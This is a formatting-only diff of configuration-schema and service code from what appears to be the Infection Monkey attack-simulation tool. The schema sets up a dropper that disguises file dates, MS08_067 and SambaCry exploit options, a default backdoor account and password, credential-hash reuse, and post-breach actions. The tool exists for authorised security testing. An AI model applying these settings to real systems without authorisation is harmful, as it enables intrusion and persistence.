"type": "array", - "uniqueItems": True, - "items": {"type": "string"}, - "default": ["192.0.2.0:5000"], - "description": "List of command servers/network interfaces to try to communicate with " - "(format is :)", - }, - "current_server": { - "title": "Current server", - "type": "string", - "default": "192.0.2.0:5000", - "description": "The current command server the monkey is communicating with", + "island_server":{ + "title":"Island server", + "type":"object", + "properties":{ + "command_servers":{ + "title":"Island server's IP's", + "type":"array", + "uniqueItems":True, + "items":{"type":"string"}, + "default":["192.0.2.0:5000"], + "description":"List of command servers/network interfaces to try to " + "communicate with " + "(format is :)", + }, + "current_server":{ + "title":"Current server", + "type":"string", + "default":"192.0.2.0:5000", + "description":"The current command server the monkey is communicating with", }, }, }, - "network": { - "title": "Network", - "type": "object", - "properties": { - "tcp_scanner": { - "title": "TCP scanner", - "type": "object", - "properties": { - "HTTP_PORTS": { - "title": "HTTP ports", - "type": "array", - "uniqueItems": True, - "items": {"type": "integer"}, - "default": [80, 8080, 443, 8008, 7001, 9200], - "description": "List of ports the monkey will check if are being used for HTTP", + "network":{ + "title":"Network", + "type":"object", + "properties":{ + "tcp_scanner":{ + "title":"TCP scanner", + "type":"object", + "properties":{ + "HTTP_PORTS":{ + "title":"HTTP ports", + "type":"array", + "uniqueItems":True, + "items":{"type":"integer"}, + "default":[80, 8080, 443, 8008, 7001, 9200], + "description":"List of ports the monkey will check if are being used " + "for HTTP", }, - "tcp_target_ports": { - "title": "TCP target ports", - "type": "array", - "uniqueItems": True, - "items": {"type": "integer"}, - "default": [ + "tcp_target_ports":{ + "title":"TCP target ports", + "type":"array", + "uniqueItems":True, + "items":{"type":"integer"}, + "default":[ 22, 2222, 445, @@ -154,52 +162,55 @@ 7001, 8088, ], - "description": "List of TCP ports the monkey will check whether they're open", + "description":"List of TCP ports the monkey will check whether " + "they're open", }, - "tcp_scan_interval": { - "title": "TCP scan interval", - "type": "integer", - "default": 0, - "description": "Time to sleep (in milliseconds) between scans", + "tcp_scan_interval":{ + "title":"TCP scan interval", + "type":"integer", + "default":0, + "description":"Time to sleep (in milliseconds) between scans", }, - "tcp_scan_timeout": { - "title": "TCP scan timeout", - "type": "integer", - "default": 3000, - "description": "Maximum time (in milliseconds) to wait for TCP response", + "tcp_scan_timeout":{ + "title":"TCP scan timeout", + "type":"integer", + "default":3000, + "description":"Maximum time (in milliseconds) to wait for TCP response", }, - "tcp_scan_get_banner": { - "title": "TCP scan - get banner", - "type": "boolean", - "default": True, - "description": "Determines whether the TCP scan should try to get the banner", + "tcp_scan_get_banner":{ + "title":"TCP scan - get banner", + "type":"boolean", + "default":True, + "description":"Determines whether the TCP scan should try to get the " + "banner", }, }, }, - "ping_scanner": { - "title": "Ping scanner", - "type": "object", - "properties": { - "ping_scan_timeout": { - "title": "Ping scan timeout", - "type": "integer", - "default": 1000, - "description": "Maximum time (in milliseconds) to wait for ping response", + "ping_scanner":{ + "title":"Ping scanner", + "type":"object", + "properties":{ + "ping_scan_timeout":{ + "title":"Ping scan timeout", + "type":"integer", + "default":1000, + "description":"Maximum time (in milliseconds) to wait for ping " + "response", } }, }, }, }, - "classes": { - "title": "Classes", - "type": "object", - "properties": { - "finger_classes": { - "title": "Fingerprint classes", - "type": "array", - "uniqueItems": True, - "items": {"$ref": "#/definitions/finger_classes"}, - "default": [ + "classes":{ + "title":"Classes", + "type":"object", + "properties":{ + "finger_classes":{ + "title":"Fingerprint classes", + "type":"array", + "uniqueItems":True, + "items":{"$ref":"#/definitions/finger_classes"}, + "default":[ "SMBFinger", "SSHFinger", "PingScanner", @@ -212,195 +223,204 @@ } }, }, - "kill_file": { - "title": "Kill file", - "type": "object", - "properties": { - "kill_file_path_windows": { - "title": "Kill file path on Windows", - "type": "string", - "default": "%windir%\\monkey.not", - "description": "Path of file which kills monkey if it exists (on Windows)", - }, - "kill_file_path_linux": { - "title": "Kill file path on Linux", - "type": "string", - "default": "/var/run/monkey.not", - "description": "Path of file which kills monkey if it exists (on Linux)", + "kill_file":{ + "title":"Kill file", + "type":"object", + "properties":{ + "kill_file_path_windows":{ + "title":"Kill file path on Windows", + "type":"string", + "default":"%windir%\\monkey.not", + "description":"Path of file which kills monkey if it exists (on Windows)", + }, + "kill_file_path_linux":{ + "title":"Kill file path on Linux", + "type":"string", + "default":"/var/run/monkey.not", + "description":"Path of file which kills monkey if it exists (on Linux)", }, }, }, - "dropper": { - "title": "Dropper", - "type": "object", - "properties": { - "dropper_set_date": { - "title": "Dropper sets date", - "type": "boolean", - "default": True, - "description": "Determines whether the dropper should set the monkey's file date to be the same as" - " another file", - }, - "dropper_date_reference_path_windows": { - "title": "Dropper date reference path (Windows)", - "type": "string", - "default": "%windir%\\system32\\kernel32.dll", - "description": "Determines which file the dropper should copy the date from if it's configured to do" - " so on Windows (use fullpath)", - }, - "dropper_date_reference_path_linux": { - "title": "Dropper date reference path (Linux)", - "type": "string", - "default": "/bin/sh", - "description": "Determines which file the dropper should copy the date from if it's configured to do" - " so on Linux (use fullpath)", - }, - "dropper_target_path_linux": { - "title": "Dropper target path on Linux", - "type": "string", - "default": "/tmp/monkey", - "description": "Determines where should the dropper place the monkey on a Linux machine", - }, - "dropper_target_path_win_32": { - "title": "Dropper target path on Windows (32bit)", - "type": "string", - "default": "C:\\Windows\\temp\\monkey32.exe", - "description": "Determines where should the dropper place the monkey on a Windows machine " - "(32bit)", - }, - "dropper_target_path_win_64": { - "title": "Dropper target path on Windows (64bit)", - "type": "string", - "default": "C:\\Windows\\temp\\monkey64.exe", - "description": "Determines where should the dropper place the monkey on a Windows machine " - "(64 bit)", - }, - "dropper_try_move_first": { - "title": "Try to move first", - "type": "boolean", - "default": True, - "description": "Determines whether the dropper should try to move itself instead of copying itself" - " to target path", + "dropper":{ + "title":"Dropper", + "type":"object", + "properties":{ + "dropper_set_date":{ + "title":"Dropper sets date", + "type":"boolean", + "default":True, + "description":"Determines whether the dropper should set the monkey's file " + "date to be the same as" + " another file", + }, + "dropper_date_reference_path_windows":{ + "title":"Dropper date reference path (Windows)", + "type":"string", + "default":"%windir%\\system32\\kernel32.dll", + "description":"Determines which file the dropper should copy the date from if " + "it's configured to do" + " so on Windows (use fullpath)", + }, + "dropper_date_reference_path_linux":{ + "title":"Dropper date reference path (Linux)", + "type":"string", + "default":"/bin/sh", + "description":"Determines which file the dropper should copy the date from if " + "it's configured to do" + " so on Linux (use fullpath)", + }, + "dropper_target_path_linux":{ + "title":"Dropper target path on Linux", + "type":"string", + "default":"/tmp/monkey", + "description":"Determines where should the dropper place the monkey on a " + "Linux machine", + }, + "dropper_target_path_win_32":{ + "title":"Dropper target path on Windows (32bit)", + "type":"string", + "default":"C:\\Windows\\temp\\monkey32.exe", + "description":"Determines where should the dropper place the monkey on a " + "Windows machine " + "(32bit)", + }, + "dropper_target_path_win_64":{ + "title":"Dropper target path on Windows (64bit)", + "type":"string", + "default":"C:\\Windows\\temp\\monkey64.exe", + "description":"Determines where should the dropper place the monkey on a " + "Windows machine " + "(64 bit)", + }, + "dropper_try_move_first":{ + "title":"Try to move first", + "type":"boolean", + "default":True, + "description":"Determines whether the dropper should try to move itself " + "instead of copying itself" + " to target path", }, }, }, - "logging": { - "title": "Logging", - "type": "object", - "properties": { - "dropper_log_path_linux": { - "title": "Dropper log file path on Linux", - "type": "string", - "default": "/tmp/user-1562", - "description": "The fullpath of the dropper log file on Linux", - }, - "dropper_log_path_windows": { - "title": "Dropper log file path on Windows", - "type": "string", - "default": "%temp%\\~df1562.tmp", - "description": "The fullpath of the dropper log file on Windows", - }, - "monkey_log_path_linux": { - "title": "Monkey log file path on Linux", - "type": "string", - "default": "/tmp/user-1563", - "description": "The fullpath of the monkey log file on Linux", - }, - "monkey_log_path_windows": { - "title": "Monkey log file path on Windows", - "type": "string", - "default": "%temp%\\~df1563.tmp", - "description": "The fullpath of the monkey log file on Windows", - }, - "send_log_to_server": { - "title": "Send log to server", - "type": "boolean", - "default": True, - "description": "Determines whether the monkey sends its log to the Monkey Island server", + "logging":{ + "title":"Logging", + "type":"object", + "properties":{ + "dropper_log_path_linux":{ + "title":"Dropper log file path on Linux", + "type":"string", + "default":"/tmp/user-1562", + "description":"The fullpath of the dropper log file on Linux", + }, + "dropper_log_path_windows":{ + "title":"Dropper log file path on Windows", + "type":"string", + "default":"%temp%\\~df1562.tmp", + "description":"The fullpath of the dropper log file on Windows", + }, + "monkey_log_path_linux":{ + "title":"Monkey log file path on Linux", + "type":"string", + "default":"/tmp/user-1563", + "description":"The fullpath of the monkey log file on Linux", + }, + "monkey_log_path_windows":{ + "title":"Monkey log file path on Windows", + "type":"string", + "default":"%temp%\\~df1563.tmp", + "description":"The fullpath of the monkey log file on Windows", + }, + "send_log_to_server":{ + "title":"Send log to server", + "type":"boolean", + "default":True, + "description":"Determines whether the monkey sends its log to the Monkey " + "Island server", }, }, }, - "exploits": { - "title": "Exploits", - "type": "object", - "properties": { - "exploit_lm_hash_list": { - "title": "Exploit LM hash list", - "type": "array", - "uniqueItems": True, - "items": {"type": "string"}, - "default": [], - "description": "List of LM hashes to use on exploits using credentials", - }, - "exploit_ntlm_hash_list": { - "title": "Exploit NTLM hash list", - "type": "array", - "uniqueItems": True, - "items": {"type": "string"}, - "default": [], - "description": "List of NTLM hashes to use on exploits using credentials", - }, - "exploit_ssh_keys": { - "title": "SSH key pairs list", - "type": "array", - "uniqueItems": True, - "default": [], - "items": {"type": "string"}, - "description": "List of SSH key pairs to use, when trying to ssh into servers", - }, - "general": { - "title": "General", - "type": "object", - "properties": { - "skip_exploit_if_file_exist": { - "title": "Skip exploit if file exists", - "type": "boolean", - "default": False, - "description": "Determines whether the monkey should skip the exploit if the monkey's file" - " is already on the remote machine", + "exploits":{ + "title":"Exploits", + "type":"object", + "properties":{ + "exploit_lm_hash_list":{ + "title":"Exploit LM hash list", + "type":"array", + "uniqueItems":True, + "items":{"type":"string"}, + "default":[], + "description":"List of LM hashes to use on exploits using credentials", + }, + "exploit_ntlm_hash_list":{ + "title":"Exploit NTLM hash list", + "type":"array", + "uniqueItems":True, + "items":{"type":"string"}, + "default":[], + "description":"List of NTLM hashes to use on exploits using credentials", + }, + "exploit_ssh_keys":{ + "title":"SSH key pairs list", + "type":"array", + "uniqueItems":True, + "default":[], + "items":{"type":"string"}, + "description":"List of SSH key pairs to use, when trying to ssh into servers", + }, + "general":{ + "title":"General", + "type":"object", + "properties":{ + "skip_exploit_if_file_exist":{ + "title":"Skip exploit if file exists", + "type":"boolean", + "default":False, + "description":"Determines whether the monkey should skip the exploit " + "if the monkey's file" + " is already on the remote machine", } }, }, - "ms08_067": { - "title": "MS08_067", - "type": "object", - "properties": { - "ms08_067_exploit_attempts": { - "title": "MS08_067 exploit attempts", - "type": "integer", - "default": 5, - "description": "Number of attempts to exploit using MS08_067", + "ms08_067":{ + "title":"MS08_067", + "type":"object", + "properties":{ + "ms08_067_exploit_attempts":{ + "title":"MS08_067 exploit attempts", + "type":"integer", + "default":5, + "description":"Number of attempts to exploit using MS08_067", }, - "user_to_add": { - "title": "Remote user", - "type": "string", - "default": "Monkey_IUSER_SUPPORT", - "description": "Username to add on successful exploit", + "user_to_add":{ + "title":"Remote user", + "type":"string", + "default":"Monkey_IUSER_SUPPORT", + "description":"Username to add on successful exploit", }, - "remote_user_pass": { - "title": "Remote user password", - "type": "string", - "default": "Password1!", - "description": "Password to use for created user", + "remote_user_pass":{ + "title":"Remote user password", + "type":"string", + "default":"Password1!", + "description":"Password to use for created user", }, }, }, - "sambacry": { - "title": "SambaCry", - "type": "object", - "properties": { - "sambacry_trigger_timeout": { - "title": "SambaCry trigger timeout", - "type": "integer", - "default": 5, - "description": "Timeout (in seconds) of SambaCry trigger", + "sambacry":{ + "title":"SambaCry", + "type":"object", + "properties":{ + "sambacry_trigger_timeout":{ + "title":"SambaCry trigger timeout", + "type":"integer", + "default":5, + "description":"Timeout (in seconds) of SambaCry trigger", }, - "sambacry_folder_paths_to_guess": { - "title": "SambaCry folder paths to guess", - "type": "array", - "uniqueItems": True, - "items": {"type": "string"}, - "default": [ + "sambacry_folder_paths_to_guess":{ + "title":"SambaCry folder paths to guess", + "type":"array", + "uniqueItems":True, + "items":{"type":"string"}, + "default":[ "/", "/mnt", "/tmp", @@ -410,48 +430,53 @@ "/shares", "/home", ], - "description": "List of full paths to share folder for SambaCry to guess", + "description":"List of full paths to share folder for SambaCry to " + "guess", }, - "sambacry_shares_not_to_check": { - "title": "SambaCry shares not to check", - "type": "array", - "uniqueItems": True, - "items": {"type": "string"}, - "default": ["IPC$", "print$"], - "description": "These shares won't be checked when exploiting with SambaCry", + "sambacry_shares_not_to_check":{ + "title":"SambaCry shares not to check", + "type":"array", + "uniqueItems":True, + "items":{"type":"string"}, + "default":["IPC$", "print$"], + "description":"These shares won't be checked when exploiting with " + "SambaCry", }, }, }, }, - "smb_service": { - "title": "SMB service", - "type": "object", - "properties": { - "smb_download_timeout": { - "title": "SMB download timeout", - "type": "integer", - "default": 300, - "description": "Timeout (in seconds) for SMB download operation (used in various exploits using SMB)", + "smb_service":{ + "title":"SMB service", + "type":"object", + "properties":{ + "smb_download_timeout":{ + "title":"SMB download timeout", + "type":"integer", + "default":300, + "description":"Timeout (in seconds) for SMB download operation (used in " + "various exploits using SMB)", }, - "smb_service_name": { - "title": "SMB service name", - "type": "string", - "default": "InfectionMonkey", - "description": "Name of the SMB service that will be set up to download monkey", + "smb_service_name":{ + "title":"SMB service name", + "type":"string", + "default":"InfectionMonkey", + "description":"Name of the SMB service that will be set up to download " + "monkey", }, }, }, }, - "testing": { - "title": "Testing", - "type": "object", - "properties": { - "export_monkey_telems": { - "title": "Export monkey telemetries", - "type": "boolean", - "default": False, - "description": "Exports unencrypted telemetries that can be used for tests in development." - " Do not turn on!", + "testing":{ + "title":"Testing", + "type":"object", + "properties":{ + "export_monkey_telems":{ + "title":"Export monkey telemetries", + "type":"boolean", + "default":False, + "description":"Exports unencrypted telemetries that " + "can be used for tests in development." + " Do not turn on!", } }, }, diff --git a/monkey/monkey_island/cc/services/config_schema/monkey.py b/monkey/monkey_island/cc/services/config_schema/monkey.py index 0d69c5aa4fe..5e2e9eb2e38 100644 --- a/monkey/monkey_island/cc/services/config_schema/monkey.py +++ b/monkey/monkey_island/cc/services/config_schema/monkey.py @@ -8,65 +8,65 @@ ) MONKEY = { - "title": "Monkey", - "type": "object", - "properties": { - "post_breach": { - "title": "Post breach", - "type": "object", - "properties": { - "custom_PBA_linux_cmd": { - "title": "Linux post-breach command", - "type": "string", - "default": "", - "description": "Command to be executed after breaching. " - "Use this field to run custom commands or execute uploaded " - "files on exploited machines.\nExample: " - '"chmod +x ./my_script.sh; ./my_script.sh ; rm ./my_script.sh"', + "title":"Monkey", + "type":"object", + "properties":{ + "post_breach":{ + "title":"Post breach", + "type":"object", + "properties":{ + "custom_PBA_linux_cmd":{ + "title":"Linux post-breach command", + "type":"string", + "default":"", + "description":"Command to be executed after breaching. " + "Use this field to run custom commands or execute uploaded " + "files on exploited machines.\nExample: " + '"chmod +x ./my_script.sh; ./my_script.sh ; rm ./my_script.sh"', }, - "PBA_linux_file": { - "title": "Linux post-breach file", - "type": "string", - "format": "data-url", - "description": "File to be uploaded after breaching. " - "Use the 'Linux post-breach command' field to " - "change permissions, run, or delete the file. " - "Reference your file by filename.", + "PBA_linux_file":{ + "title":"Linux post-breach file", + "type":"string", + "format":"data-url", + "description":"File to be uploaded after breaching. " + "Use the 'Linux post-breach command' field to " + "change permissions, run, or delete the file. " + "Reference your file by filename.", }, - "custom_PBA_windows_cmd": { - "title": "Windows post-breach command", - "type": "string", - "default": "", - "description": "Command to be executed after breaching. " - "Use this field to run custom commands or execute uploaded " - "files on exploited machines.\nExample: " - '"my_script.bat & del my_script.bat"', + "custom_PBA_windows_cmd":{ + "title":"Windows post-breach command", + "type":"string", + "default":"", + "description":"Command to be executed after breaching. " + "Use this field to run custom commands or execute uploaded " + "files on exploited machines.\nExample: " + '"my_script.bat & del my_script.bat"', }, - "PBA_windows_file": { - "title": "Windows post-breach file", - "type": "string", - "format": "data-url", - "description": "File to be uploaded after breaching. " - "Use the 'Windows post-breach command' field to " - "change permissions, run, or delete the file. " - "Reference your file by filename.", + "PBA_windows_file":{ + "title":"Windows post-breach file", + "type":"string", + "format":"data-url", + "description":"File to be uploaded after breaching. " + "Use the 'Windows post-breach command' field to " + "change permissions, run, or delete the file. " + "Reference your file by filename.", }, - "PBA_windows_filename": { - "title": "Windows PBA filename", - "type": "string", - "default": "", + "PBA_windows_filename":{ + "title":"Windows PBA filename", + "type":"string", + "default":"", }, - "PBA_linux_filename": { - "title": "Linux PBA filename", - "type": "string", - "default": "", + "PBA_linux_filename":{ + "title":"Linux PBA filename", + "type":"string", + "default":"", }, - "post_breach_actions": { - "title": "Post breach actions", - "type": "array", - "uniqueItems": True, - "items": {"$ref": "#/definitions/post_breach_actions"}, - "default": [ + "post_breach_actions":{ + "title":"Post breach actions", + "type":"array", + "uniqueItems":True, + "items":{"$ref":"#/definitions/post_breach_actions"}, + "default":[ "BackdoorUser", "CommunicateAsNewUser", "ModifyShellStartupFiles", @@ -80,16 +80,16 @@ }, }, }, - "system_info": { - "title": "System info", - "type": "object", - "properties": { - "system_info_collector_classes": { - "title": "System info collectors", - "type": "array", - "uniqueItems": True, - "items": {"$ref": "#/definitions/system_info_collector_classes"}, - "default": [ + "system_info":{ + "title":"System info", + "type":"object", + "properties":{ + "system_info_collector_classes":{ + "title":"System info collectors", + "type":"array", + "uniqueItems":True, + "items":{"$ref":"#/definitions/system_info_collector_classes"}, + "default":[ ENVIRONMENT_COLLECTOR, AWS_COLLECTOR, HOSTNAME_COLLECTOR, @@ -100,31 +100,33 @@ }, }, }, - "persistent_scanning": { - "title": "Persistent scanning", - "type": "object", - "properties": { - "max_iterations": { - "title": "Max iterations", - "type": "integer", - "default": 1, - "minimum": 1, - "description": "Determines how many iterations of the monkey's full lifecycle should occur " - "(how many times to do the scan)", + "persistent_scanning":{ + "title":"Persistent scanning", + "type":"object", + "properties":{ + "max_iterations":{ + "title":"Max iterations", + "type":"integer", + "default":1, + "minimum":1, + "description":"Determines how many iterations of the monkey's full lifecycle " + "should occur " + "(how many times to do the scan)", }, - "timeout_between_iterations": { - "title": "Wait time between iterations", - "type": "integer", - "default": 100, - "minimum": 0, - "description": "Determines for how long (in seconds) should the monkey wait before starting another scan", + "timeout_between_iterations":{ + "title":"Wait time between iterations", + "type":"integer", + "default":100, + "minimum":0, + "description":"Determines for how long (in seconds) should the monkey wait " + "before starting another scan", }, - "retry_failed_explotation": { - "title": "Retry failed exploitation", - "type": "boolean", - "default": True, - "description": "Determines whether the monkey should retry exploiting machines" - " it didn't successfully exploit on previous scans", + "retry_failed_explotation":{ + "title":"Retry failed exploitation", + "type":"boolean", + "default":True, + "description":"Determines whether the monkey should retry exploiting machines" + " it didn't successfully exploit on previous scans", }, }, }, diff --git a/monkey/monkey_island/cc/services/edge/displayed_edge.py b/monkey/monkey_island/cc/services/edge/displayed_edge.py index 67d42a3ab5c..00f06fd8999 100644 --- a/monkey/monkey_island/cc/services/edge/displayed_edge.py +++ b/monkey/monkey_island/cc/services/edge/displayed_edge.py @@ -27,7 +27,7 @@ def edge_to_displayed_edge(edge: EdgeService, for_report=False): if len(edge.scans) > 0: services = DisplayedEdgeService.services_to_displayed_services( - edge.scans[-1]["data"]["services"], for_report + edge.scans[-1]["data"]["services"], for_report ) os = edge.scans[-1]["data"]["os"] @@ -36,7 +36,8 @@ def edge_to_displayed_edge(edge: EdgeService, for_report=False): displayed_edge["ip_address"] = edge.ip_address displayed_edge["services"] = services displayed_edge["os"] = os - # we need to deepcopy all mutable edge properties, because weak-reference link is made otherwise, + # we need to deepcopy all mutable edge properties, because weak-reference link is made + # otherwise, # which is destroyed after method is exited and causes an error later. displayed_edge["exploits"] = deepcopy(edge.exploits) displayed_edge["_label"] = edge.get_label() @@ -45,12 +46,12 @@ def edge_to_displayed_edge(edge: EdgeService, for_report=False): @staticmethod def generate_pseudo_edge(edge_id, src_node_id, dst_node_id, src_label, dst_label): edge = { - "id": edge_id, - "from": src_node_id, - "to": dst_node_id, - "group": "island", - "src_label": src_label, - "dst_label": dst_label, + "id":edge_id, + "from":src_node_id, + "to":dst_node_id, + "group":"island", + "src_label":src_label, + "dst_label":dst_label, } edge["_label"] = DisplayedEdgeService.get_pseudo_label(edge) return edge @@ -72,12 +73,12 @@ def services_to_displayed_services(services, for_report=False): @staticmethod def edge_to_net_edge(edge: EdgeService): return { - "id": edge.id, - "from": edge.src_node_id, - "to": edge.dst_node_id, - "group": edge.get_group(), - "src_label": edge.src_label, - "dst_label": edge.dst_label, + "id":edge.id, + "from":edge.src_node_id, + "to":edge.dst_node_id, + "group":edge.get_group(), + "src_label":edge.src_label, + "dst_label":edge.dst_label, } diff --git a/monkey/monkey_island/cc/services/edge/edge.py b/monkey/monkey_island/cc/services/edge/edge.py index 461b0e8a544..1750ca4a9d2 100644 --- a/monkey/monkey_island/cc/services/edge/edge.py +++ b/monkey/monkey_island/cc/services/edge/edge.py @@ -44,7 +44,7 @@ def update_label(self, node_id: ObjectId, label: str): self.dst_label = label else: raise DoesNotExist( - "Node id provided does not match with any endpoint of an self provided." + "Node id provided does not match with any endpoint of an self provided." ) self.save() @@ -67,7 +67,7 @@ def disable_tunnel(self): def update_based_on_scan_telemetry(self, telemetry: Dict): machine_info = copy.deepcopy(telemetry["data"]["machine"]) - new_scan = {"timestamp": telemetry["timestamp"], "data": machine_info} + new_scan = {"timestamp":telemetry["timestamp"], "data":machine_info} ip_address = machine_info.pop("ip_addr") domain_name = machine_info.pop("domain_name") self.scans.append(new_scan) diff --git a/monkey/monkey_island/cc/services/edge/test_displayed_edge.py b/monkey/monkey_island/cc/services/edge/test_displayed_edge.py index 2938909c299..468e9f9c9f1 100644 --- a/monkey/monkey_island/cc/services/edge/test_displayed_edge.py +++ b/monkey/monkey_island/cc/services/edge/test_displayed_edge.py @@ -5,46 +5,45 @@ SCAN_DATA_MOCK = [ { - "timestamp": "2020-05-27T14:59:28.944Z", - "data": { - "os": {"type": "linux", "version": "Ubuntu-4ubuntu2.8"}, - "services": { - "tcp-8088": {"display_name": "unknown(TCP)", "port": 8088}, - "tcp-22": { - "display_name": "SSH", - "port": 22, - "banner": "SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8\r\n", - "name": "ssh", + "timestamp":"2020-05-27T14:59:28.944Z", + "data":{ + "os":{"type":"linux", "version":"Ubuntu-4ubuntu2.8"}, + "services":{ + "tcp-8088":{"display_name":"unknown(TCP)", "port":8088}, + "tcp-22":{ + "display_name":"SSH", + "port":22, + "banner":"SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8\r\n", + "name":"ssh", }, }, - "monkey_exe": None, - "default_tunnel": None, - "default_server": None, + "monkey_exe":None, + "default_tunnel":None, + "default_server":None, }, } ] EXPLOIT_DATA_MOCK = [ { - "result": True, - "exploiter": "ElasticGroovyExploiter", - "info": { - "display_name": "Elastic search", - "started": "2020-05-11T08:59:38.105Z", - "finished": "2020-05-11T08:59:38.106Z", - "vulnerable_urls": [], - "vulnerable_ports": [], - "executed_cmds": [], + "result":True, + "exploiter":"ElasticGroovyExploiter", + "info":{ + "display_name":"Elastic search", + "started":"2020-05-11T08:59:38.105Z", + "finished":"2020-05-11T08:59:38.106Z", + "vulnerable_urls":[], + "vulnerable_ports":[], + "executed_cmds":[], }, - "attempts": [], - "timestamp": "2020-05-27T14:59:29.048Z", + "attempts":[], + "timestamp":"2020-05-27T14:59:29.048Z", } ] class TestDisplayedEdgeService: def test_get_displayed_edges_by_to(self): - dst_id = ObjectId() src_id = ObjectId() @@ -60,15 +59,15 @@ def test_edge_to_displayed_edge(self): src_node_id = ObjectId() dst_node_id = ObjectId() edge = EdgeService( - src_node_id=src_node_id, - dst_node_id=dst_node_id, - scans=SCAN_DATA_MOCK, - exploits=EXPLOIT_DATA_MOCK, - exploited=True, - domain_name=None, - ip_address="10.2.2.2", - dst_label="Ubuntu-4ubuntu2.8", - src_label="Ubuntu-4ubuntu3.2", + src_node_id=src_node_id, + dst_node_id=dst_node_id, + scans=SCAN_DATA_MOCK, + exploits=EXPLOIT_DATA_MOCK, + exploited=True, + domain_name=None, + ip_address="10.2.2.2", + dst_label="Ubuntu-4ubuntu2.8", + src_label="Ubuntu-4ubuntu3.2", ) displayed_edge = DisplayedEdgeService.edge_to_displayed_edge(edge) @@ -77,7 +76,7 @@ def test_edge_to_displayed_edge(self): assert displayed_edge["from"] == src_node_id assert displayed_edge["ip_address"] == "10.2.2.2" assert displayed_edge["services"] == ["tcp-8088: unknown", "tcp-22: ssh"] - assert displayed_edge["os"] == {"type": "linux", "version": "Ubuntu-4ubuntu2.8"} + assert displayed_edge["os"] == {"type":"linux", "version":"Ubuntu-4ubuntu2.8"} assert displayed_edge["exploits"] == EXPLOIT_DATA_MOCK assert displayed_edge["_label"] == "Ubuntu-4ubuntu3.2 " + RIGHT_ARROW + " Ubuntu-4ubuntu2.8" assert displayed_edge["group"] == "exploited" @@ -85,11 +84,11 @@ def test_edge_to_displayed_edge(self): def test_services_to_displayed_services(self): services1 = DisplayedEdgeService.services_to_displayed_services( - SCAN_DATA_MOCK[-1]["data"]["services"], True + SCAN_DATA_MOCK[-1]["data"]["services"], True ) assert services1 == ["tcp-8088", "tcp-22"] services2 = DisplayedEdgeService.services_to_displayed_services( - SCAN_DATA_MOCK[-1]["data"]["services"], False + SCAN_DATA_MOCK[-1]["data"]["services"], False ) assert services2 == ["tcp-8088: unknown", "tcp-22: ssh"] diff --git a/monkey/monkey_island/cc/services/infection_lifecycle.py b/monkey/monkey_island/cc/services/infection_lifecycle.py index 1f4c0e87e6c..c0b56c08df7 100644 --- a/monkey/monkey_island/cc/services/infection_lifecycle.py +++ b/monkey/monkey_island/cc/services/infection_lifecycle.py @@ -20,10 +20,10 @@ class InfectionLifecycle: @staticmethod def kill_all(): mongo.db.monkey.update( - {"dead": False}, - {"$set": {"config.alive": False, "modifytime": datetime.now()}}, - upsert=False, - multi=True, + {"dead":False}, + {"$set":{"config.alive":False, "modifytime":datetime.now()}}, + upsert=False, + multi=True, ) logger.info("Kill all monkeys was called") return jsonify(status="OK") @@ -40,15 +40,16 @@ def get_completed_steps(): report_done = False return dict( - run_server=True, - run_monkey=is_any_exists, - infection_done=infection_done, - report_done=report_done, + run_server=True, + run_monkey=is_any_exists, + infection_done=infection_done, + report_done=report_done, ) @staticmethod def _on_finished_infection(): - # Checking is_report_being_generated here, because we don't want to wait to generate a report; rather, + # Checking is_report_being_generated here, because we don't want to wait to generate a + # report; rather, # we want to skip and reply. if not is_report_being_generated() and not ReportService.is_latest_report_exists(): safe_generate_reports() diff --git a/monkey/monkey_island/cc/services/island_logs.py b/monkey/monkey_island/cc/services/island_logs.py index 846b2e8448f..dc189b297a8 100644 --- a/monkey/monkey_island/cc/services/island_logs.py +++ b/monkey/monkey_island/cc/services/island_logs.py @@ -13,7 +13,8 @@ def __init__(self): def get_log_file(): """ This static function is a helper function for the monkey island log download function. - It finds the logger handlers and checks if one of them is a fileHandler of any kind by checking if the handler + It finds the logger handlers and checks if one of them is a fileHandler of any kind by + checking if the handler has the property handler.baseFilename. :return: a dict with the log file content. @@ -25,7 +26,7 @@ def get_log_file(): log_file_path = handler.baseFilename with open(log_file_path, "rt") as f: log_file = f.read() - return {"log_file": log_file} + return {"log_file":log_file} logger.warning("No log file could be found, check logger config.") return None diff --git a/monkey/monkey_island/cc/services/log.py b/monkey/monkey_island/cc/services/log.py index f4f3374d609..2632d3cb92e 100644 --- a/monkey/monkey_island/cc/services/log.py +++ b/monkey/monkey_island/cc/services/log.py @@ -12,33 +12,33 @@ def __init__(self): @staticmethod def get_log_by_monkey_id(monkey_id): - log = mongo.db.log.find_one({"monkey_id": monkey_id}) + log = mongo.db.log.find_one({"monkey_id":monkey_id}) if log: log_file = database.gridfs.get(log["file_id"]) monkey_label = monkey_island.cc.services.node.NodeService.get_monkey_label( - monkey_island.cc.services.node.NodeService.get_monkey_by_id(log["monkey_id"]) + monkey_island.cc.services.node.NodeService.get_monkey_by_id(log["monkey_id"]) ) return { - "monkey_label": monkey_label, - "log": log_file.read().decode(), - "timestamp": log["timestamp"], + "monkey_label":monkey_label, + "log":log_file.read().decode(), + "timestamp":log["timestamp"], } @staticmethod def remove_logs_by_monkey_id(monkey_id): - log = mongo.db.log.find_one({"monkey_id": monkey_id}) + log = mongo.db.log.find_one({"monkey_id":monkey_id}) if log is not None: database.gridfs.delete(log["file_id"]) - mongo.db.log.delete_one({"monkey_id": monkey_id}) + mongo.db.log.delete_one({"monkey_id":monkey_id}) @staticmethod def add_log(monkey_id, log_data, timestamp=datetime.now()): LogService.remove_logs_by_monkey_id(monkey_id) file_id = database.gridfs.put(log_data, encoding="utf-8") return mongo.db.log.insert( - {"monkey_id": monkey_id, "file_id": file_id, "timestamp": timestamp} + {"monkey_id":monkey_id, "file_id":file_id, "timestamp":timestamp} ) @staticmethod def log_exists(monkey_id): - return mongo.db.log.find_one({"monkey_id": monkey_id}) is not None + return mongo.db.log.find_one({"monkey_id":monkey_id}) is not None diff --git a/monkey/monkey_island/cc/services/netmap/net_edge.py b/monkey/monkey_island/cc/services/netmap/net_edge.py index 008fa5b5410..11227782e97 100644 --- a/monkey/monkey_island/cc/services/netmap/net_edge.py +++ b/monkey/monkey_island/cc/services/netmap/net_edge.py @@ -28,17 +28,18 @@ def _get_uninfected_island_net_edges(): count = 0 for monkey_id in monkey_ids: count += 1 - # generating fake ID, because front end requires unique ID's for each edge. Collision improbable + # generating fake ID, because front end requires unique ID's for each edge. Collision + # improbable fake_id = ObjectId(hex(count)[2:].zfill(24)) 